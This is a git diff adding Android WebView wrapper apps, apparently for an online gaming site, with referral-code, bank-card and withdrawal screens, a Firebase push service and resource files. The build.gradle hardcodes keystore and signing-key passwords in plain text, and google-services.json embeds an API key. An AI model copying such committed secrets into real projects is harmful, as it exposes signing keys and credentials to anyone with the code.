b/easycuci/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable/shape_dialog_bg_new.xml b/easycuci/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/easycuci/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/easycuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/easycuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/easycuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/easycuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/mipmap-hdpi/ic_empty.png b/easycuci/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/easycuci/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/easycuci/src/main/res/mipmap-hdpi/ic_pull_down.png b/easycuci/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/easycuci/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/easycuci/src/main/res/mipmap-xhdpi/ic_close.png b/easycuci/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/easycuci/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/easycuci/src/main/res/mipmap-xhdpi/ic_menu.png b/easycuci/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/easycuci/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/easycuci/src/main/res/mipmap-xxhdpi/app_logo.png b/easycuci/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..195ddc5 Binary files /dev/null and b/easycuci/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/easycuci/src/main/res/values-en/strings.xml b/easycuci/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/easycuci/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/easycuci/src/main/res/values-night/themes.xml b/easycuci/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/easycuci/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/values/colors.xml b/easycuci/src/main/res/values/colors.xml new file mode 100644 index 0000000..3ec55b2 --- /dev/null +++ b/easycuci/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #005d0c + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/easycuci/src/main/res/values/strings.xml b/easycuci/src/main/res/values/strings.xml new file mode 100644 index 0000000..4136fe9 --- /dev/null +++ b/easycuci/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + EASYCUCI + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/values/themes.xml b/easycuci/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/easycuci/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/xml/app_updater_paths.xml b/easycuci/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/easycuci/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/xml/network_security_config.xml b/easycuci/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/easycuci/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/xml/provider_paths.xml b/easycuci/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/easycuci/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/easycuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/easycuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/ek9pgk/.gitignore b/ek9pgk/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/ek9pgk/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/ek9pgk/build.gradle b/ek9pgk/build.gradle new file mode 100644 index 0000000..054c9ac --- /dev/null +++ b/ek9pgk/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.ek9pgk" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "ek9pgk" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/ek9pgk/google-services.json b/ek9pgk/google-services.json new file mode 100644 index 0000000..8ab867c --- /dev/null +++ b/ek9pgk/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "650943441111", + "project_id": "ek9pgk", + "storage_bucket": "ek9pgk.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:650943441111:android:9021c09a0c21ce51dd6892", + "android_client_info": { + "package_name": "com.web.ek9pgk" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBCsK_r_pucvnR7Kz7uqiOP0IWHV6vGnLM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/ek9pgk/ppn.jks b/ek9pgk/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/ek9pgk/ppn.jks differ diff --git a/ek9pgk/proguard-rules.pro b/ek9pgk/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/ek9pgk/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/ek9pgk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/ek9pgk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/ek9pgk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/ek9pgk/src/main/AndroidManifest.xml b/ek9pgk/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3a10782 --- /dev/null +++ b/ek9pgk/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/java/com/web/sking668/MainActivity.java b/ek9pgk/src/main/java/com/web/ek9pgk/MainActivity.java similarity index 94% rename from ttslot888new/nep88/src/main/java/com/web/sking668/MainActivity.java rename to ek9pgk/src/main/java/com/web/ek9pgk/MainActivity.java index 82e2f8e..f75d250 100644 --- a/ttslot888new/nep88/src/main/java/com/web/sking668/MainActivity.java +++ b/ek9pgk/src/main/java/com/web/ek9pgk/MainActivity.java @@ -1,4 +1,4 @@ -package com.web.sking668; +package com.web.ek9pgk; import android.content.pm.PackageInfo; @@ -11,12 +11,12 @@ public class MainActivity extends MainActivity2 { @Override protected void onCreate(Bundle savedInstanceState) { - userId = 132; + userId = 144; saveInt(MainActivity.this,"user_code",userId); saveInt(MainActivity.this,"version_code",getVersion()); - com.web.base.MainActivity.saveString(this, "base_url","https://sking668.online/"); + com.web.base.MainActivity.saveString(this, "base_url","https://ek9pgk.com/"); //网页的底部NavigationBar颜色 - com.web.base.MainActivity.saveString(this, "style_color", "#e9e9e9"); + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); //页面的大背景颜色 com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); //任务栏的文字颜色 0 黑 1白 默认黑 diff --git a/ek9pgk/src/main/java/com/web/ek9pgk/MyFirebaseMessageingService.java b/ek9pgk/src/main/java/com/web/ek9pgk/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a6eaff9 --- /dev/null +++ b/ek9pgk/src/main/java/com/web/ek9pgk/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.ek9pgk; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/ek9pgk/src/main/java/com/web/ek9pgk/WebApplication.java b/ek9pgk/src/main/java/com/web/ek9pgk/WebApplication.java new file mode 100644 index 0000000..0879bbe --- /dev/null +++ b/ek9pgk/src/main/java/com/web/ek9pgk/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.ek9pgk; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/ek9pgk/src/main/res/drawable-anydpi/ic_action_back.xml b/ek9pgk/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/ek9pgk/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/ek9pgk/src/main/res/drawable-hdpi/ic_action_back.png b/ek9pgk/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/ek9pgk/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/ek9pgk/src/main/res/drawable-mdpi/ic_action_back.png b/ek9pgk/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/ek9pgk/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/ek9pgk/src/main/res/drawable-v24/ic_launcher_foreground.xml b/ek9pgk/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/ek9pgk/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable-xhdpi/ic_action_back.png b/ek9pgk/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/ek9pgk/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/ek9pgk/src/main/res/drawable-xxhdpi/ic_action_back.png b/ek9pgk/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/ek9pgk/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/ek9pgk/src/main/res/drawable/big_bg.xml b/ek9pgk/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/ek9pgk/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable/ic_launcher_background.xml b/ek9pgk/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/ek9pgk/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ek9pgk/src/main/res/drawable/input_bg.xml b/ek9pgk/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/ek9pgk/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ek9pgk/src/main/res/drawable/pass_word_bg.xml b/ek9pgk/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/ek9pgk/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/ek9pgk/src/main/res/drawable/pass_word_bg1.xml b/ek9pgk/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/ek9pgk/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable/pass_word_bg2.xml b/ek9pgk/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/ek9pgk/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable/shape_btn_bg.xml b/ek9pgk/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/ek9pgk/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable/shape_dialog_bg2.xml b/ek9pgk/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/ek9pgk/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable/shape_dialog_bg3.xml b/ek9pgk/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/ek9pgk/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/drawable/shape_dialog_bg_new.xml b/ek9pgk/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/ek9pgk/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/ek9pgk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ek9pgk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/ek9pgk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/ek9pgk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/mipmap-hdpi/ic_empty.png b/ek9pgk/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/ek9pgk/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/ek9pgk/src/main/res/mipmap-hdpi/ic_pull_down.png b/ek9pgk/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/ek9pgk/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/ek9pgk/src/main/res/mipmap-xhdpi/ic_close.png b/ek9pgk/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/ek9pgk/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/ek9pgk/src/main/res/mipmap-xhdpi/ic_menu.png b/ek9pgk/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/ek9pgk/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/ek9pgk/src/main/res/mipmap-xxhdpi/app_logo.jpg b/ek9pgk/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..39ba546 Binary files /dev/null and b/ek9pgk/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/ek9pgk/src/main/res/values-en/strings.xml b/ek9pgk/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/ek9pgk/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/ek9pgk/src/main/res/values-night/themes.xml b/ek9pgk/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/ek9pgk/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/values/colors.xml b/ek9pgk/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/ek9pgk/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/values/strings.xml b/ek9pgk/src/main/res/values/strings.xml new file mode 100644 index 0000000..5b7e591 --- /dev/null +++ b/ek9pgk/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + EK9PGK + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/values/themes.xml b/ek9pgk/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ 